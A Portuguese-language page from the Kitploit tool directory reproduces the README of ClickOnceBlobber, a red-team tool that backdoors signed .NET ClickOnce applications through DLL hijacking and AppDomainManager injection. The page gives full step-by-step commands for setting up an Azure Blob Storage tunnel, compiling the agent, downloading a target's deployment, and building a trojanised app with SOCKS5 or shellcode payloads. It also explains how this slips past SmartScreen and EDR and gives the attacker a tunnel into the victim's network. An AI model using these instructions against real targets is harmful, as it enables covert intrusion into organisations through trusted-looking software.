Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ClickOnceBlobber — Transforme aplicativos .NET ClickOnce assinados em armas para acesso inicial, sequestrando uma DLL de dependência por meio de injeção de AppDomainManager e carregando uma porta em C# do ProxyBlob Agent. | Kitploit
Ferramentas/GitHubGitHub/dazzyddos/clickonceblobber
Comando e ControleEngenharia SocialRed TeamingDesenvolvimento de Payloads
GitHubdazzyddos/clickonceblobber

ClickOnceBlobber

Transforme aplicativos .NET ClickOnce assinados em armas para acesso inicial, sequestrando uma DLL de dependência por meio de injeção de AppDomainManager e carregando uma porta em C# do ProxyBlob Agent.

Ver Repositório
1682216há 7 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Kit de Injeção ClickOnce AppDomainManager

Arme aplicações .NET ClickOnce assinadas para acesso inicial, sequestrando uma DLL de dependência via injeção de AppDomainManager e carregando uma versão em C# do agente ProxyBlob. Acompanha uma versão em C# do ProxyBlob — um proxy SOCKS5 que tunela todo o tráfego através do Azure Blob Storage, misturando-se em ambientes onde *.blob.core.windows.net está na lista de permissões.

Por Que Isso Funciona

ClickOnce é a tecnologia de implantação com um clique da Microsoft para aplicações .NET. Quando um usuário clica em uma URL .application, o Windows baixa e executa o aplicativo sem exigir privilégios de administrador. O ataque:

  1. Pegue uma aplicação ClickOnce legítima e assinada com reputação existente
  2. Substitua uma de suas DLLs de dependência pelo agente SOCKS5 ProxyBlob
  3. Injete um .exe.config que instrui o CLR a carregar nossa DLL como AppDomainManager
  4. Corrija os hashes do manifesto para corresponder aos nossos novos arquivos
  5. Hospede — a vítima clica no link, obtém um aplicativo de aparência real, e você recebe um túnel SOCKS5

O .exe hospedeiro permanece intacto e validamente assinado. O SmartScreen vê um binário conhecido. O EDR vê um processo confiável carregando módulos. Seu agente se comunica apenas com o Azure Blob Storage via HTTPS.

Estrutura do Repositório

├── clickonce_backdoor.py              # Main script for backdooring ProxyBlob Agent DLL to ClickOnce App
├── examples/
│   ├── ProxyBlobAgent.cs              # ProxyBlob Agent ClickOnce DLL payload (AppDomainManager)
│   ├── ProxyBlobStandalone.cs         # Standalone Proxyblob console agent (for testing)
│   ├── ShellcodeLoader.cs             # Alternative: shellcode loader payload
│   └── MessageBoxPoC.cs               # PoC: message box (validates injection works)
└── README.md

Pré-requisitos

Atacante (Linux/macOS):

  • Python 3.10+
  • proxy ProxyBlob (binário Go)
  • Conta de Armazenamento Azure (ou Azurite para testes locais)

Máquina de compilação (Windows):

  • .NET Framework csc.exe — vem em C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe (detectado automaticamente)
  • NuGet CLI — download, coloque nuget.exe ao lado do script ou adicione ao PATH (necessário apenas para o modo --proxyblob)

O script detecta automaticamente csc.exe e nuget.exe. Para --proxyblob, BouncyCastle e ILMerge são instalados automaticamente via NuGet na primeira execução em um diretório packages/ ao lado do script (persiste entre execuções).

Suporte a Arquitetura

O código do agente é neutro em relação à arquitetura (sem P/Invoke, sem shellcode). A flag --platform (passada para csc.exe /platform:) controla como o CLR o carrega:

--platformExecuta no Windows x86Executa no Windows x64Quando usar
x86 (padrão)32 bits32 bits (WoW64)Aplicação alvo é x86
x64✗64 bitsAplicação alvo é x64
anycpu32 bits64 bitsTeste autônomo, ou alvo é AnyCPU

Verifique uma aplicação alvo com corflags.exe TargetApp.exe para determinar sua plataforma.


Uso: Passo a Passo Completo

Passo 1 — Configurar o Armazenamento Azure

# Create storage account
az storage account create \
    --name yourblobaccount \
    --resource-group yourgroup \
    --sku Premium_LRS \
    --kind BlockBlobStorage

# Get keys
az storage account keys list --account-name yourblobaccount --output table

Ou use Azurite localmente:

docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite

Passo 2 — Iniciar o ProxyBlob

git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make

cat > config.json << 'EOF'
{
    "storage_account_name": "yourblobaccount",
    "storage_account_key": "YOUR_KEY_HERE"
}
EOF

./proxy -c config.json

No shell do proxy:

proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

Salve essa string de conexão — ela vai para o agente.

Passo 3 — Teste Primeiro com o Agente Autônomo

Sempre verifique se o agente funciona de forma independente antes da integração com o ClickOnce.

Na máquina de compilação Windows:

# Compile
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
    examples\ProxyBlobStandalone.cs ^
    /r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
    /r:System.Net.Http.dll /r:netstandard.dll

# ILMerge into single exe (so BouncyCastle is embedded)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
    /out:Agent.exe ^
    ProxyBlobStandalone.exe ^
    packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
    /targetplatform:v4

# Run
Agent.exe <connection-string>

De volta ao proxy:

proxyblob » list
  d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080

Teste:

proxychains curl http://ipconfig.io

Se funcionar, prossiga para a integração com o ClickOnce.

Passo 4 — Encontrar uma Aplicação ClickOnce Alvo

Encontre uma aplicação ClickOnce alvo durante o recon (pesquise por URLs .application). Você precisa:

Baixe toda a implantação do ClickOnce:

# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

Passo 5 — Compilar e Corrigir em Um Único Comando

O script compila automaticamente o código-fonte C#, gerencia dependências NuGet (para --proxyblob), mescla ILMerge do BouncyCastle na DLL e corrige todos os manifestos — tudo em uma única execução:

# ProxyBlob mode — auto-compiles, auto-installs NuGet packages, auto-merges
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
    --output ./output

# PoC mode — quick validation that injection works
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --poc --output ./output

# Shellcode mode
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --shellcode beacon.bin --output ./output

# x64 target app
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER/ \
    --proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
    --platform x64 --output ./output

O script lida com: gerar o código-fonte C# com suas configurações embutidas, compilar via csc.exe, mesclar ILMerge do BouncyCastle (para --proxyblob), substituir a DLL, criar .exe.config com injeção AppDomainManager, adicionar ambos os arquivos aos manifestos, recalcular todos os hashes SHA256 e tamanhos de arquivo, remover assinaturas de código, zerar o publicKeyToken do fornecedor e atualizar a URL do provedor de implantação.

Baixar ferramenta